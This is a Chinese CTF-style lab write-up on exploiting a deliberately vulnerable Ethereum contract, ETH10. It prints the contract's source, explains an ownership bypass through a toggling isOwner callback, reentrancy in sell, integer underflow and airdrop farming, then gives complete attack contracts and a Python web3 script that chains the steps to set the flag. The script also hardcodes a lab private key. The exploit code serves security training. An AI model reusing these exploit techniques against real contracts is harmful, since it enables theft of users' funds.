区块链安全
`
文章目录
- 区块链安全
- 薅羊毛攻击实战二
- 实验目的
- 实验环境
- 实验工具
- 实验原理
- 实验内容
- 薅羊毛攻击实战二 实验步骤
- EXP利用
薅羊毛攻击实战二
实验目的
学会使用python3的web3模块
学会分析以太坊智能合约复杂场景下薅羊毛攻击漏洞及其利用
找到合约漏洞进行分析并形成利用
实验环境
Ubuntu18.04操作机
实验工具
python3
实验原理
薅羊毛攻击指使用多个不同的新账户来调用空投函数获得空投币并转账至攻击者账户以达到财富累计的一种攻击方式。这类攻击方式较为普通且常见,只要是有空投函数的合约都能够进行薅羊毛。
一般实际场景比较复杂,所以需综合利用各个漏洞与薅羊毛攻击。
实验内容
合约中内置了多种漏洞和潜在的薅羊毛攻击问题,找到合约漏洞并形成利用,把合约中的flag变量设置为true即可
使用python3的web3模块远程利用漏洞并获取flag
实验地址为nc ip 10010
薅羊毛攻击实战二 实验步骤
获取合约地址和合约源代码
nc ip 10010连接到题目,输入1,获取部署合约的game account及token
打开http://ip,输入上述分配的game account,点击Request获取eth
nc ip 10010连接到题目,输入2,获取部署合约的地址及new token
nc ip 10010连接到题目,输入4,获取合约源代码,或者在题目附件找到合约源代码
分析合约源代码漏洞
pragma solidity ^0.4.23;
interface Changing {
function isOwner(address) view public returns (bool);
}
contract ETH10 {
address private owner;
mapping(address => uint) public balanceOf;
mapping(address => bool) public status;
mapping(address => uint) public buyTimes;
bool public flag;
constructor() payable {
owner = msg.sender;
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
function payforflag() onlyOwner public {
require(buyTimes[msg.sender] >= 100);
flag = true;
}
function change(address _owner) public {
Changing tmp = Changing(msg.sender);
if(!tmp.isOwner(_owner)){
status[msg.sender] = tmp.isOwner(_owner);
}
}
function change_Owner() public {
require(tx.origin != msg.sender);
if(status[msg.sender] == true){
status[msg.sender] = false;
owner = msg.sender;
}
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0x0));
require(_value > 0);
uint256 oldFromBalance = balanceOf[_from];
uint256 oldToBalance = balanceOf[_to];
uint256 newFromBalance = balanceOf[_from] - _value;
uint256 newToBalance = balanceOf[_to] + _value;
require(oldFromBalance >= _value);
require(newToBalance > oldToBalance);
balanceOf[_from] = newFromBalance;
balanceOf[_to] = newToBalance;
assert((oldFromBalance + oldToBalance) == (newFromBalance + newToBalance));
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function buy() payable public returns (bool success){
require(tx.origin != msg.sender);
require(buyTimes[msg.sender]==0);
require(balanceOf[msg.sender]==0);
balanceOf[msg.sender] = 100;
buyTimes[msg.sender] = 1;
return true;
}
function sell(uint256 _amount) public returns (bool success){
require(_amount >= 100);
require(buyTimes[msg.sender] > 0);
require(balanceOf[msg.sender] >= _amount);
require(address(this).balance >= _amount);
msg.sender.call.value(_amount)();
_transfer(msg.sender, address(this), _amount);
buyTimes[msg.sender] -= 1;
return true;
}
function eth_balance() public view returns (uint256 ethBalance){
return address(this).balance;
}
}
题目要求将合约中的flag变量设置为true
查看 payforflag ,我们需要成为 owner ,同时 buyTimes[msg.sender] >= 100
想要成为 owner ,可以通过 change_owner 函数实现:status[msg.sender] 要求为 true ,可以通过 change(address _owner) 解决,Changing 接口中声明了 isOwner 函数,用户可自行编写,要使 status[msg.sender] = true ,则 tmp.isOwner(_owner) 第一次调用需返回 false ,第二次调用返回 true ,所以就有了思路:设置一个初始值为 true 的变量,每次调用 isOwner()时,将其取反再返回。这样便满足了我们是 owner ,只需再满足 buyTimes[msg.sender] >= 100
发现只有 sell 函数,会有 buyTimes[msg.sender] -= 1 的操作,其实这是重入问题,这里需要满足 require(_amount >= 200) ,但是 buy 只能给 100 ,典型的薅羊毛问题,最后再利用整数下溢即可满足 buyTimes[msg.sender] >= 100
EXP利用
编写攻击合约attack1.sol和attack2.sol,将下述attack1和attack2合约中的ETH10地址替换成自己题目合约的地址,其中attack1合约主要包括四个功能:hack1函数用于成为owner和申领空投;hack2函数用于薅羊毛提高balanceOf[attack1];hack3函数用于利用2次重入触发整数溢出漏洞,使得buyTimes[msg.sender]=0-1变成一个很大的数,从而满足payforflag中buyTimes[msg.sender] >= 100的条件;hack4函数用于调用payforflag函数,设置flag为true
contract attack1 {
ETH10 target = ETH10(0x6D95dE7EC9Ca2276AE8ed81454bc5519a37382Ac);
bool public flag = true;
uint public have_sell = 0;
function isOwner(address) public returns (bool){
flag = !flag;
return flag;
}
function hack1() public {
target.change(address(this));
target.change_Owner();
target.buy();
}
function hack2() public {
new attack2(address(this));
}
function hack3() public {
target.sell(100);
}
function hack4() public {
target.payforflag();
}
function() payable public {
if (have_sell < 1) {
have_sell += 1;
target.sell(100);
}
}
}
contract attack2 {
ETH10 target = ETH10(0x6D95dE7EC9Ca2276AE8ed81454bc5519a37382Ac);
constructor(address addr) public {
target.buy();
target.transfer(addr,100);
}
}
编写python3自动化脚本,将上述攻击合约部署,然后按照上述步骤分别执行即可
from web3 import Web3, HTTPProvider
from solcx import compile_source,set_solc_version_pragma
import time
w3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))
contract_address = "0x94829A097f920307e33452a5c64AabE51f4fF976"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"
def generate_tx(chainID, to, data, value):
txn = {
'chainId': chainID,
'from': Web3.toChecksumAddress(public),
'to': to,
'gasPrice': w3.eth.gasPrice,
'gas': 3000000,
'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
'value': Web3.toWei(value, 'ether'),
'data': data,
}
return txn
def sign_and_send(txn):
signed_txn = w3.eth.account.signTransaction(txn, private)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
print("txn_hash=", txn_hash)
return txn_receipt
set_solc_version_pragma('^0.4.23')
with open('./attack.sol', 'r') as f:
SRC_TEXT = f.read()
compiled_sol = compile_source(SRC_TEXT)
CONT_IF = compiled_sol['<stdin>:attack1']
# deploy attack1 in attack.sol
txn = generate_tx(8888, '', CONT_IF['bin'], 0)
txn_receipt = sign_and_send(txn)
hack_address = txn_receipt['contractAddress']
print('hack_address =',hack_address)
time.sleep(5)
# call hack1() in attack1
data = Web3.keccak(text='hack1()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
txn_receipt = sign_and_send(txn)
if(txn_receipt['status']==1):
print("call hack1() success")
time.sleep(5)
# call hack2() in attack1
data = Web3.keccak(text='hack2()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
txn_receipt = sign_and_send(txn)
if(txn_receipt['status']==1):
print("call hack2() success")
time.sleep(5)
# call hack3() in attack1
data = Web3.keccak(text='hack3()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
txn_receipt = sign_and_send(txn)
if(txn_receipt['status']==1):
print("call hack3() success")
time.sleep(5)
# call hack4() in attack1
data = Web3.keccak(text='hack4()').hex()[:10]
txn = generate_tx(8888, Web3.toChecksumAddress(hack_address), data, 0)
txn_receipt = sign_and_send(txn)
if(txn_receipt['status']==1):
print("call hack4() success")
执行exp
nc ip 10010连接到题目,输入3,输入之前的new token,获取flag